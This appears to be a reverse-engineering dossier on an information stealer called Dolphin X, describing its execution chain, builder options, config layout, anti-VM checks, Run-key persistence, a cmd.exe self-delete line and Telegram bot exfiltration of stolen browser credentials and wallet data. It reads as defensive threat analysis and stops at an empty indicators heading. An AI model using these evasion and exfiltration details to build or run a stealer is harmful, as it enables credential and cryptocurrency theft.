Dolphin X: Forensic Reverse-Engineering & Architectural Dossier

{
  "compiler": "MSVC C++ Runtime / PyInstaller wrapper",
  "runtime": "Win32 Native API / Embedded Python Interpreter",
  "binary_footprint": "Native stub: 180 KB - 450 KB; PyInstaller bundled executable: 8 MB - 16 MB",
  "stub_size": "245,760 bytes (typical native compiled C++ release stub)",
  "packer_obfuscation": "Custom compile-time string encryption (xorstr_ template), API hashing via MurmurHash2/ROR13, control-flow scrambling",
  "subsystem": "Windows GUI (Subsystem 2) running headless without window instantiation",
  "entry_point_flow": "WinMain -> PEB unhooking check -> Dynamic API resolution -> Anti-Analysis checks -> Enumerate browser databases -> Extract DPAPI master keys -> Archive to %TEMP% -> Exfiltrate via Telegram API -> Self-delete",
  "technical_summary": "Dolphin X is a specialized commodity information stealer engineered to target browser credential stores, cryptocurrency wallet browser extensions, and active communication tokens. The tool utilizes dynamic API resolution via PEB traversal and MurmurHash2 hashing to obscure its import directory. Collected artifacts are staged in memory or compressed into encrypted archives before dispatch via HTTPS multipart POST requests."
}

{
  "interface_type": "Builder Interface & Central Web Telemetry Dashboard",
  "builder_tabs_options": [
    {
      "tab": "Target Heuristics",
      "options": [
        "Browser Targets: Chrome, Edge, Brave, Opera GX, Vivaldi, Firefox",
        "Extension Harvester: Pre-configured list of 50+ Web3 cryptocurrency extension IDs",
        "Session Grabbers: Telegram Desktop (tdata), Discord, Steam, FileZilla",
        "File Grabber Filter: Configurable file extensions (.txt, .pdf, .docx, .key, .wallet)"
      ]
    },
    {
      "tab": "Exfiltration Channel",
      "options": [
        "Telegram Bot Integration: Bot Token input field and Admin Chat ID",
        "Cloudflare Worker Proxy: Custom reverse-proxy endpoint URL to hide direct Telegram IP contact",
        "Discord Webhook Backup: Secondary exfiltration route upon HTTPS API failure"
      ]
    },
    {
      "tab": "Stub Obfuscation",
      "options": [
        "String Obfuscation Key: 32-byte rolling XOR seed",
        "Anti-Analysis Checks: Core count (<2), RAM (<4GB), MAC address OUI validation",
        "Self-Delete Routine: Execution of cmd.exe /c timeout /t 3 & del /f /q script"
      ]
    }
  ],
  "config_struct_layout": [
    {
      "offset": "0x0000",
      "field": "MagicBytes",
      "type": "uint32",
      "description": "Header verification identifier (0x444F4C50 = 'DOLP')"
    },
    {
      "offset": "0x0004",
      "field": "XorKey",
      "type": "uint8[32]",
      "description": "Rolling XOR decryption key for embedded string table"
    },
    {
      "offset": "0x0024",
      "field": "TelegramToken",
      "type": "char[64]",
      "description": "Encrypted Telegram Bot API authorization token"
    },
    {
      "offset": "0x0064",
      "field": "ChatId",
      "type": "char[32]",
      "description": "Encrypted operator Telegram chat ID destination"
    },
    {
      "offset": "0x0084",
      "field": "WorkerUrl",
      "type": "char[128]",
      "description": "Encrypted Cloudflare Worker reverse proxy URL"
    },
    {
      "offset": "0x0104",
      "field": "TargetFlags",
      "type": "uint32",
      "description": "Bitmask specifying active collection modules"
    }
  ],
  "payload_generation_flags": [
    "Build Architecture: x64 Release",
    "Runtime Linking: Static (/MT)",
    "Debug Symbol Stripping: Full"
  ],
  "operator_commands": [
    "ExecuteHarvest: Triggers immediate extraction and compilation of victim credentials",
    "PingNode: Validates network egress to exfiltration proxy endpoints",
    "SelfDestruct: Executes file-shredding and command-line deletion commands"
  ],
  "interface_telemetry_analysis": "The operator interface combines a local executable stub builder with a cloud dashboard. The builder generates customized payloads with embedded tokens, while the web dashboard and Telegram feeds present real-time telemetry including victim geolocation, hardware specifications, harvested credentials count, and direct ZIP archive download links."
}

struct Dolphin_X_Config {
    uint32_t magic;
    char c2_host[128];
    uint16_t port;
    char install_path[260];
    char mutex[64];
    uint8_t aes_key[32];
};

{
  "injection_chain": "Native execution directly from memory or initial drop location; does not implement complex process hollowing, preferring transient short-lived execution to minimize EDR memory inspection windows.",
  "ntapi_functions": [
    "ntdll!LdrLoadDll",
    "kernel32!GetProcAddress",
    "kernel32!VirtualAlloc",
    "kernel32!VirtualProtect",
    "crypt32!CryptUnprotectData"
  ],
  "process_hollowing_target": "N/A (Executes within primary process context)",
  "persistence_mechanics": [
    "Non-persistent execution model (Harvest and Terminate)",
    "Optional Run key persistence when deployed in hybrid downloader configuration: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
  ],
  "evasion_hooks": [
    "Dynamic API resolution parsing export tables of ntdll.dll and kernel32.dll via PEB loader lists",
    "Compile-time string encryption decrypting API names and file paths on stack immediately before execution and zeroing memory immediately after"
  ],
  "anti_analysis": [
    "Hypervisor detection querying CPUID leaf 0x40000000 for hypervisor signature strings ('VMwareVMware', 'Microsoft Hv', 'VBoxVBoxVBox')",
    "MAC OUI blacklist check: compares adapter addresses against known virtualization vendor prefixes (00:05:69, 00:0C:29, 08:00:27)",
    "Screen dimension analysis: terminates if desktop resolution is under 1024x768"
  ]
}

Concrete technical breakdown of functional modules implemented in the Dolphin X binary:

{
  "framing": "Standard HTTPS multipart/form-data POST transaction conforming to RFC 7578",
  "serialization": "JSON-formatted metadata objects accompanying raw binary ZIP archive attachments",
  "handshake": "Standard TLS 1.3 cryptographic handshake established with api.telegram.org or custom Cloudflare Worker edge nodes",
  "cryptography": "TLS 1.3 in-transit encryption. Inner archive optionally encrypted with AES-256 or ZipCrypto using generated session keys.",
  "packet_types": [
    {
      "header": "POST /bot<token>/sendMessage",
      "payload": "JSON: { chat_id, text: 'New Victim: IP, Location, Hardware' }",
      "direction": "Client -> Telegram"
    },
    {
      "header": "POST /bot<token>/sendDocument",
      "payload": "Multipart form: chat_id, document: <ZIP_ARCHIVE>",
      "direction": "Client -> Telegram"
    }
  ],
  "traffic_signature": "Outbound HTTPS requests to api.telegram.org on port 443 transmitting multipart form payloads containing file parameters named 'document' with MIME type application/zip."
}

Indicators of compromise and forensic patterns recorded across laboratory triage: